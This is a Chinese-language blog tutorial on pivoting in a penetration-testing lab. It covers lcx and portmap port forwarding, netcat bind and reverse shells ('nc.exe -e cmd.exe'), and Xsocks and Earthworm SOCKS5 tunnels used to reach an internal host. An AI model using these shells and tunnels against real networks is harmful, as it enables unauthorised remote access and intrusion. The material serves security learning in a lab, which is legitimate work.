内网学习三-代理与端口转发

在内网渗透中代理是最重要的,因为外网无法直接访问其内网,我们后续的渗透无论是信息收集,还是攻击其他内网下的机器,都需要代理成功后才能进行。

代理与端口转发

这里就学习几种比较常用的,这里我搭建一个简单的环境,两台win2003,一台作为Web边界机器,另外一台作为内网机器

Web边界机器对应的网卡ip地址为192.168.70.145和172.17.18.2

QzfHld.png

内网机器对应的网卡ip地址为172.17.18.6

Qzfxk8.png

分别在两台机器上用phpstudy搭建了一个Web服务,方便查看

Window lcx端口转发

这是一个window下使用的端口转发工具

lcx常用命令:

1
2
3
4
5
1:-listen <ConnectPort1> <TransmitPort2>监听p1,接收由p2转发过来的数据 

2:-tarn <ConnectPort> <TransmitHost> <TransmitPort>端口转向功能,通过访问该端口可以直接与该主机或另一台主机的某一个端口进行通信

3:-slave <TransmitHostB> <PortB> <TransmitHostA> <PortA>端口转发功能,将目标A机上的端口A,转发到外网B机的端口B上

一般的话主要用到的还是1和3功能

内网上执行lcx.exe –slave 公网IP +端口 内网IP +端口

1
lcx.exe -slave 172.17.18.2 55 172.18.18.6 3389

Qzhup4.png

把自己本地的3389端口转发到172.17.18.2的55端口

边界机器执行

1
lcx.exe -listen 55 4999

把监听的55端口转发到自己本机的2333端口

Qz5deI.png

在边界机器上尝试连接,可以连接

Qz5sfS.png

Qz52Os.png

Linux下的portmap端口转发

1
2
3
4
5
监听1234端口,转发数据到2333端口
本地:./portmap -m 2 -p1 1234 -p2 2333

将目标的3389转发到本地的1234端口
./portmap -m 1 -p1 3389 -h2 ip -p2 1234

跟上面一样的效果,都是属于端口转发的

NC反弹CMDshell(netcat)

正向连接

内网主机输入的命令

1
nc.exe -l -p 8888 -e cmd.exe

将cmd.exe转发到8888端口

QzoBRS.png

边界机器输入的命令

1
nc.exe -nvv 172.17.18.6 8888

主动连接到内网机机的8888端口(获取cmd.exe的执行权限)

QzogZn.png

反向连接

内网机器上运行的命令,把shell反弹给边界机器

1
nc.exe -e cmd.exe 172.17.18.6 8889

QzTzt0.png

将内网的cmd.exe转发到攻击机的8889端口

边界机器上运行命令

1
nc.exe -l -p 8889

监听本地的8889端口,获取反弹的shell

Qz7C1U.png

Xsocks

这款工具windows和Linux下都能使用,而且能够设置ssocks服务的密码,这里以他的正向socks5代理功能为例

这里以windows版本Xsocks为例,在边界机器上输入

1
xsocks.exe -l 1080

ip 192.168.70.129是外网的一台kali虚拟机,一开始是不能访问内网172.17.18.6的

Qzzwi4.png

在proxychains文件中修改代理之后,使用代理访问即可

lSp2Pe.png

lSp4KI.png

window下使用proxifier去连接,这里使用本机去连接,ip为192.168.70.1

一开始是访问不到172.17.18.6的

Qzqzb4.png

当设置好proxifier的参数,我们就可以成功访问了

lSpvMn.png

QzjFGn.png

反弹socks5服务器的话使用-r参数跟上公网ip和端口号即可,他的帮助手册写的很清楚

神器Earthworm

EW 是一套便携式的网络穿透工具,它具有 SOCKS v5服务架设和端口转发两大核心功能,可以帮助我们在复杂的网络环境下完成网络穿透,它支持多平台,借用了 ssocks 和 lcx.exe 的操作逻辑,并进行更多的功能强化。

正向SOCKS v5 服务器

同样以上面的环境为例,在边界机器上搭建socks服务器

1
ew -s ssocksd -l 1080

Window下使用proxifier去连接

QzXXxP.png

可以成功访问内网的web服务

QzjFGn.png

LInux下我们只需要修改proxychains.conf 就好

Qzjua4.png

也可以成功访问内网ip

QzjlGR.png

反弹 SOCKS v5 服务器

攻击机输入下面的命令

1
./ew -s rcsocks -l 1080 -e 8888

监听自己的1080端口,同时修改proxychains文件的代理

Qzx1u6.png

边界服务器输入下面的命令

1
./ew -s rssocks -d 192.168.70.129 -e 8888

相当于服务发送到公网

此时再对内网地址进行访问,成功!

Qzxa8A.png

同样的window可以使用proxifier进行代理服务

当然挂上代理还有其他操作,我们不仅仅可以访问内网一些Web服务,还可以通过proxychains msfconsole打开msf去进行一些端口的攻击扫描等,思路很多,挂上代理是关键一步。


听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 代理与端口转发
    1. 1.1. Window lcx端口转发
    2. 1.2. Linux下的portmap端口转发
    3. 1.3. NC反弹CMDshell(netcat)
      1. 1.3.1. 正向连接
      2. 1.3.2. 反向连接
    4. 1.4. Xsocks
    5. 1.5. 神器Earthworm
      1. 1.5.1. 正向SOCKS v5 服务器
      2. 1.5.2. 反弹 SOCKS v5 服务器